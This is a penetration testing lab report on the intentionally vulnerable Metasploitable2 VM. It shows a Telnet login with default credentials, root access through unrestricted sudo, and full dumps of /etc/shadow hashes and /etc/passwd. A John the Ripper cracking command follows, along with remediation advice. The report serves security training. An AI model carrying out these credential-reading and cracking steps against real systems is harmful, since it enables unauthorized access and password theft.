

Advanced Penetration Testing Report

Privilege Escalation & Post-Exploitation

Tester: Saloni Kumari

Date: 13 May 2026

Target: Metasploitable2 (192.168.60.130)

1. Executive Summary

A full system compromise simulation was performed on Metasploitable2. Initial access was gained via Telnet using default credentials. Enumeration revealed that the user `msfadmin` had full sudo privileges. Privilege escalation to root was achieved using `sudo su -`. Post-exploitation included reading sensitive files `/etc/shadow` and `/root/`. A password attack concept is also documented.

2. Initial Access

- **Method:** Telnet (port 23)
- **Credentials:** msfadmin / msfadmin

```
(kali@kali)-[~]
$ telnet 192.168.60.130
Trying 192.168.60.130...
Connected to 192.168.60.130.
Escape character is '^J'.

Metasploitable2

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue May 12 15:42:21 EDT 2026 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

3. Enumeration

Commands run on target:

Command	Output
whoami	msfadmin
id	uid=1000(msfadmin) gid=1000(msfadmin) groups=...
uname -a	Linux metasploitable 2.6.24-16-server
sudo -l	(ALL) ALL

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$ id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)
msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ sudo -l
[sudo] password for msfadmin:
User msfadmin may run the following commands on this host:
(ALL) ALL
msfadmin@metasploitable:~$
```

4. Privilege Escalation

- Used `sudo su -` to become root.

```
root@metasploitable:~# echo "=== Enumeration Output ===" > ~/enum.txt
root@metasploitable:~# whoami >> ~/enum.txt
root@metasploitable:~# id >> ~/enum.txt
root@metasploitable:~# sudo -l >> ~/enum.txt
root@metasploitable:~# cat ~/enum.txt
=== Enumeration Output ===
root
uid=0(root) gid=0(root) groups=0(root)
User root may run the following commands on this host:
(ALL) ALL
root@metasploitable:~#
```

5. Post-Exploitation

Sensitive files accessed:

- /etc/shadow – password hashes (root only)

```
root@metasploitable:~# cat /etc/shadow
root:$1$avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD9l0:14742:0:99999:7:::
sync:*:14684:0:99999:7:::
games:*:14684:0:99999:7:::
man:*:14684:0:99999:7:::
lp:*:14684:0:99999:7:::
mail:*:14684:0:99999:7:::
news:*:14684:0:99999:7:::
uucp:*:14684:0:99999:7:::
proxy:*:14684:0:99999:7:::
www-data:*:14684:0:99999:7:::
backup:*:14684:0:99999:7:::
list:*:14684:0:99999:7:::
irc:*:14684:0:99999:7:::
gnats:*:14684:0:99999:7:::
nobody:*:14684:0:99999:7:::
libuuid!:14684:0:99999:7:::
dhcpc:*:14684:0:99999:7:::
syslog:*:14684:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
sshd:*:14684:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
bind:*:14685:0:99999:7:::
postfix:*:14685:0:99999:7:::
ftp:*:14685:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/:14685:0:99999:7:::
mysql!:14685:0:99999:7:::
tomcat55:*:14691:0:99999:7:::
distccd:*:14698:0:99999:7:::
user:$1$HESu9xrH$K.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDpr50hp6cjZ3Bu//:14715:0:99999:7:::
telnetd:*:14715:0:99999:7:::
proftpd!:14727:0:99999:7:::
statd:*:15474:0:99999:7:::
root@metasploitable:~#
```

- /root/directory listing

```
root@metasploitable:~# ls -la /root/
total 80
drwxr-xr-x 13 root root 4096 2026-05-12 16:12 .
drwxr-xr-x 21 root root 4096 2012-05-20 14:36 ..
lrwxrwxrwx 1 root root 9 2012-05-14 00:26 .bash_history -> /dev/null
-rw-r--r-- 1 root root 2227 2007-10-20 07:51 .bashrc
drwx----- 3 root root 4096 2012-05-20 15:08 .config
drwxr-xr-x 2 root root 4096 2012-05-20 15:08 Desktop
-rw-r--r-- 1 root root 140 2026-05-12 16:14 enum.txt
drwx----- 2 root root 4096 2012-05-20 15:13 .filezilla
drwxr-xr-x 5 root root 4096 2026-05-12 15:40 .fluxbox
drwx----- 2 root root 4096 2012-05-20 15:38 .gconf
drwx----- 2 root root 4096 2012-05-20 15:40 .gconfd
drwxr-xr-x 2 root root 4096 2012-05-20 15:09 .gstreamer-0.10
drwx----- 4 root root 4096 2012-05-20 15:07 .mozilla
-rw-r--r-- 1 root root 141 2007-10-20 07:51 .profile
drwx----- 5 root root 4096 2012-05-20 15:11 .purple
-rwx----- 1 root root 401 2012-05-20 15:55 reset_logs.sh
-rwx----- 1 root root 4 2012-05-20 14:25 .rhosts
drwxr-xr-x 2 root root 4096 2012-05-20 14:21 .ssh
drwx----- 2 root root 4096 2026-05-12 15:40 .vnc
-rw-r--r-- 1 root root 138 2026-05-12 15:40 vnc.log
-rw----- 1 root root 324 2026-05-12 15:40 .Xauthority
root@metasploitable:~#
```

- /etc/passwd – user account information

```
root@metasploitable:~# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
root@metasploitable:~#
```

6. Password Attacks Concept

Password Attacks – Concept

1. Where passwords are stored in Linux:
 - /etc/passwd (user info, old format)
 - /etc/shadow (actual password hashes, only root readable)
2. Hashing algorithms: MD5, SHA-256, SHA-512 (in /etc/shadow, \$1\$ = MD5, \$5\$ = SHA-256, \$6\$ = SHA-512)
3. Attack methods:
 - Brute force: try all combinations (slow)
 - Dictionary attack: use wordlist (fast)
 - Rainbow tables: precomputed hashes (requires large storage)
4. Common tools:
 - John the Ripper (offline hash cracking)
 - Hydra (online brute force – login pages, SSH, FTP)
5. Example command (John):
john --format=md5crypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

6. Mitigation:

- Use strong, complex passwords (12+ chars)
 - Account lockout after failed attempts
 - Rate limiting on login endpoints
 - Multi-factor authentication (MFA)
 - Regularly audit password policies
-

7. Impact Analysis

- Full root access allows attacker to:
 - Read/write any file (including /etc/shadow)
 - Install backdoors, malware
 - Disable security controls
 - Use the compromised machine as a pivot to attack internal network.
-

8. Remediation Recommendations

- Disable Telnet and use SSH with key-based authentication.
 - Remove unnecessary sudo privileges (do not give ALL to normal users).
 - Enforce strong password policy.
 - Regularly patch the system (Metasploitable uses very old kernel).
 - Monitor logs for unauthorized access.
-

9. Conclusion

Metasploitable2 has critical security weaknesses that allow an attacker to gain full control with minimal effort. The lab demonstrates why privilege escalation is a severe risk in real-world environments.